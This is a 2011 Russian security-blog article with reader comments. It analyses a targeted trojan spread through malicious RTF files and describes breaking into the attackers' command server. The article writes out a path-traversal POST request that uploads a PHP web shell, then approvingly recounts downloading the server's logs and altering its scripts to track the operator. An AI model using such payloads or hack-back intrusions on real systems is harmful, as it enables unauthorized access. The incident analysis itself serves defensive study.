15.12.2011

Лучшая защита — это атака: противодействие промышленному шпионажу

image

В данной статье автор поделится своим опытом исследования троянов, написанных и заточенных для атаки на конкретную компанию.

Автор: Агиевич Игорь (http://shanker.habrahabr.ru/)

В данной статье автор поделится своим опытом исследования троянов, написанных и заточенных для атаки на конкретную компанию. Будет раскрыт механизм получения доступа к командному центру вируса через уязвимость в протоколе взаимодействия вируса и командного центра. А также показано какую информацию о злоумышленнике можно собрать, получив доступ к командному центру.

Сценарий развития событий

В начале 2011 года одна телекоммуникационная компания (название которой не буду раскрывать) стала целью промышленного шпионажа. Примерно на 20 email адресов сотрудников компании были посланы *.rtf файлы, эксплуатирующие уязвимость в MS Word (CVE-2010-3333).

Эксплоит сработал на 5 компьютерах. Все WinXP. Несмотря на то факт, что уязвимость затрагивала продукты MS Word в т.ч. и для ОС Windows Vista, Windows 7, сам троян не устанавливался в эти системы. Он был системозависимый, устанавливал драйвер. А в Win Vista, 7 для этих целей требуется повышение привилегий. Ни присланные файлы *.rtf, ни сам вирус не определялись свежими антивирусами, которые были установлены на рабочих компьютерах пользователей компании. Тревогу забили только тогда, когда внимательный пользователь и счастливый владелец KIS 2011 обнаружил неладное. При открытии документа через некоторое время от проактивной защиты поступил запрос на подтверждение запуска новой программы update.exe, которая желает выполниться. Тем же днём в антивирусные компании были отправлены подозрительные rtf-файлы. В течение недели из 6 антивирусных лабораторий только 3 добавили в базы семпл эксплоита.

Рис №1: результат сканирования первого файла с эксплоитом через месяц после отправки в антивирусные лаборатории

Файлы вируса (нагрузку эксплоита) в базы не добавила ни одна лаборатория. В компании были приняты срочные меры по обновлению антивирусов и установке патчей на офисные приложения. Через 2 недели атака повторилась. Эксплоит тот же, но не детектируется антивирусами (модифицирован), рис №2. Нагрузка (вирус) не изменилась.

Рис №2: результат сканирования второго файла с эксплоитом через месяц после получения (данный файл в антивирусные лаборатории не отправлялся на этот момент)

Обновлённые антивирусы ничем не помогли. Мотивы таких поступков со стороны антивирусных компаний, ровно как и попытки выяснить каким всё же антивирусом стоит пользоваться оставим за бортом этой темы.

Спустя некоторое время после первой волны атаки (где-то через 2-3 дня) в этой истории появился я. Мне было поручено провести исследования, выяснить какие файлы собираются на системе, куда отправляются.

Экспресс-анализ вируса

Экспресс-анализ вируса показал мало чего интересного. Сам исполняемый файл был упакован неизвестным упаковщиком (возможно, написанным теми же вирусописателями). Но, при запуске происходила установка в систему распакованных файлов. Эти файлы уже ничем не были сжаты. Поэтому, ничто не мешало загрузить их в IDA, получить и проанализировать псевдокод.

Рис №3: часть псевдокода, полученного из файла вируса (IDA)

По этому псевдокоду можно было заключить: троянец получал листинги директорий, с которыми работал пользователь, отправлял их командному центру и ждал указаний. Среди возможностей было получение исполняемого файла от командного центра и его выполнение. Также была реализована примитивная защита от анализа: определялось наличие работы в среде vmware и последующее завершение работы трояна. Поэтому я использовал Oracle VirtualBox. Троянец искал в памяти процесс iexplorer, инжектировал в него свой код и, таким образом, передавал данные на сервер. Сам факт инжектирования в процесс iexplorer антивирусами на тот момент не определялся. Запустив виртуальную машину с WinXP я запустил ещё и Internet Explorer, настроил Wirweshark на перехват трафика и стал дожидаться общения трояна c его командным центром.

Вирмейкеры тоже ошибаются

За сутки наблюдений никаких новых файлов на тестовой машине не обнаружилось. Зато удалось понять вполне нехитрый протокол общения трояна с командным центром.

рис №4: перехват трафика между вирусом и его командным центром

Т.е. с инфицированного компьютера файлы передавались скрипту вот таким образом:

bot_id=2376589&file_name=имя_файла&content=содержимое_файла

Что ж, почему бы не поэкспериментировать со скриптом? Скрипт принимает файлы и сохраняет их на сервере. Почему тогда не воспользоваться этим и не залить web-shell? Попробуем послать запрос с такими переменными:

file_name is: "../../../../shell.php"
content is: "<рhp рhpinfo()?>"
bot_id is: "2376589"

Итоговый запрос будет выглядеть так:

POST /grab/get.php HTTP/1.1
Host: *****.com
User-Agent: Opera 10.02
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

bot_id=2376589&file_name=..%2F..%2F..%2F..%2Fshell.php&content=%3C%3Fphp+phpinfo%28%29%3F%3E

И вот какой ответ сервера мы получаем:

HTTP/1.1 200 OK Date: Thu, 26 Feb 2011 10:58:46 GMT Server: Apache
Content-Length: 291
Content-Type: text/html
Warning: fopen(2376589/../../../../shell.php) [function.fopen]: failed to open stream:
Permission denied in /srv/disk5/754386/www/*****.com/grab/get.php on line 573
Wrong file name

Сообщается о невозможности сохранения файла на сервере по такому пути. Отлично! Как раз то, что мы искали. Локальный путь на сервере к скрипту виден. Теперь ясно как модифицировать запрос и залить web-shell. Делаем это и вуаля. Запрос прошёл нормально, осталось только обратиться к залитому скрипту и получить долгожданный вывод php info.

Залили shell, а дальше...

После заливки концептуального шелла залили шелл боевой. Наша дальнейшая логика работы.

  1. Скачиваем содержимое web-директории к себе для дальнейшего анализа.
    • Иногда зашифрованные данные от вируса расшифровываются скриптом и хранятся на сервере в открытом виде.
  2. Ищем логи web-сервера, скачиваем себе (поможет понять логику работы скрипта + IP злоумышленника и других заражённых компьютеров).
  3. Разобрав логику скрипта, модифицируем его: добавляем дамп в файл информации о злоумышленнике там, где идёт работа с командами от него.

В самих скриптах можно найти информацию о злоумышленнике: комментарии в скриптах.

В ходе анализа скачанных с командного центра данных стало ясно, что всего 8 компьютеров на тот момент выходили на связь (рис №5).

Рис №5: список инфицированных машин, данные файла access.log

У нас же была информация о 5 компьютерах. Оставшиеся 3 компьютера были найдены чуть позже: это оказались домашние компьютеры работников организации. Дополнительные данные были получены по файлу logs.txt (который, кстати, был доступен из интернета, нужно было только путь знать). В этот файл в открытом виде записывалась информация о заражённых компьютерах: IP, имя компьютера, последний выход на связь. Полученные с заражённых компьютеров файлы расшифровывались скриптом. Из них стало ясно какие данные утекли.

Из логов web-сервера можно было сделать вывод о том с каких IP-адресов заходил админ командного центра (рис №6). Но, на всякий случай, покопавшись в скрипте и найдя код, который отрабатывал для админа, мы его модифицировали, добавив сохранение данных о нём: сохраняли данные о его IP, User-Agent. Админ обратился к модифицированному скрипту. Полученная информация совпала с предварительной, из анализа логов web-сервера.

Рис №6: данные злоумышленника, файл access.log

Что может помешать анализу скриптов

Бывает так, что злоумышленники пытаются помешать анализу скриптов. Применяют обфускацию: изменяют названия функций и переменных в скрипте с целью усложнения восприятия кода. Или даже применяют кодирование. Или добавление мусорного (лишнего, не работающего) кода. Решение проблемы: восстановление логики работы скрипта используя трафик вируса и вставки своих отладочных функций (echo «1» и т. д.). Для этого поднимаем web-сервер на своей стороне, и перенаправляем трафик вируса от истинного командного центра на контролируемый нами web-сервер (рис №7). Например, можно модифицировать файл hosts (самый простой способ).

Рис №7: перенаправление трафика вируса с реального командного центра на контролируемый компьютер

Этот подход работоспособен в случаях, когда вирус пытается обратиться к командному центру по его доменному имени. В случае, когда вирус обращается к командному центру по IP без предварительного резолва доменного имени, придётся возиться с сетевыми маршрутами (либо на самой машине с вирусом, либо на активном оборудовании в сети вроде маршрутизаторов). Участки кода, которые закодированы, успешно раскодируются обратной функцией. Современные обфускаторы скриптов не представляют проблемы в рамках исследования, т.к. предназначены для защиты скриптов от плагиата, а не для предотвращения анализа.

Вывод

Когда инцидент уже случился, реверс инжениринг вируса может потребовать многих усилий и дать мало информации относительно того какие данные утекли и кто за этими данными охотился. В ряде случаев, проявив немного сообразительности, можно найти более лёгкий путь решения этих проблем. Вирусописатели – тоже люди, они тоже ошибаются. И данная история — прямое тому доказательство.


или введите имя

CAPTCHA
Страницы: 1  2  
Гость
16-12-2011 07:23:23
Недостаточный уровень зрелости ИТ/ИБ-процессов в вашей компании: 1) отсутствует политика антивирусной защиты, используемые средства не стандартизованы 2) отсутствует процедура повышения уровня осведомленности пользователей вопросам ИБ 3) отсутствует процедура патч-менеджмента и управления обновлениями 4) пользователи работают с расширенными привилегиями, что скорее всего не нужно .... С чего Вы взяли что это был промышленный шпионаж? Где в статье хоть какие-то слова о противодействии шпионажу?
0 |
16-12-2011 08:33:24
А всё равно красиво. Осталось только домой к злоумышленнику приехать.
0 |
xfg.virrus
22-12-2011 04:42:09
куда домой то?? сервер управления стоит где-нить в ИНдоКитае в бочке из под риса и что? Ппц...
0 |
petr
16-12-2011 09:38:24
Уважаемый Гость. А как вы предлагаете осуществлять указанные вами действия в условиях более 500 нестационарных рабочих станций?
0 |
xfg.virrus
22-12-2011 04:39:20
Можно за гостя отвечу? По этому поводу он прав на 100%. --->Недостаточный уровень зрелости ИТ/ИБ-процессов в вашей компании: 1) отсутствует политика антивирусной защиты, используемые средства не стандартизованы 2) отсутствует процедура повышения уровня осведомленности пользователей вопросам ИБ 3) отсутствует процедура патч-менеджмента и управления обновлениями 4) пользователи работают с расширенными привилегиями, что скорее всего не нужно 1. Если у Вас стоит вин системы, кто мешает инсталить АВ через GPO??? (AD/LDAP в помощь) Из статьи понятно что используется кашмарский 2011, это вообще как??? Где корп.версия АВ где АдминКит например??? через который все эти политики и устанавливаются... 2. Раз в 1-3 месяца можно согласовывать с начальниками отделов встречу и просвещать сирых о новых кибер угрозах. 3. Тут я так понял про WSUS речь? Да, без него никуда. Ну и не забываем регулярно патчить вообще весь установленный софт, особенно флеш плеер (если нужен). У меня стоит только на тех станциях, на которых необходим для работы. 4. Тут не факт конечно, т.к малварь и в пользовательском окружении не плохо себя чувствует. Вообще минимальный набор прав, некоторых в исключения кому оч надо. Остальным баста.
0 |
Инцидент был не в моей фирме. Тема статьи не в том кто виноват, а в том что можно сделать, когда инцидент уже произошёл. Буду рад почитать Ваши статьи о результатах практического внедрения политики ИБ в отдельно взятой фирме.
0 |
ip
16-12-2011 14:27:06
гостю на основании чего сделаны эти выводы: 1) отсутствует политика антивирусной защиты, используемые средства не стандартизованы 2) отсутствует процедура повышения уровня осведомленности пользователей вопросам ИБ автору зачем использовался драйвер ? почему запуск процесса пропалился, а инжект кода нет ?
0 |
1. Назначение драйвера неизвестно. Вирус прекрасно продолжал функционировать и без него (после отключения его в ручном режиме). Глубокий реверс инженеринг кода драйвера не производился - это требовало слишком многих ресурсов. 2. Это уже вопрос к разработчикам антивирусов. На самом деле, вариантов инжекции кода великое множество. И далеко не все они перехватываются проактивной защитой антивирусов.
0 |
Гость
16-12-2011 15:07:45
1) - антивирусы разные. 2) пользователи запускают файлы присланные по почте от неизвестных им контр-агентов
0 |
xfg.virrus
22-12-2011 04:45:19
У чела не настроен спам фильтр, и просто видимо нет исключений на все подозрительные файлы типа doc, docx, rtf, pdf. Не плохо бы было если ТС создаст специальный рулес который бы помещал такую корреспонденцию в подозрительные. я бы даж доверенных отправителей туда же с вложениями посылал.
0 |
Не Москва
16-12-2011 15:23:41
А с какого пользователи работали на машинах Win XP с правами администратора? Элементарная, безалаберность.
0 |
Страницы: 1  2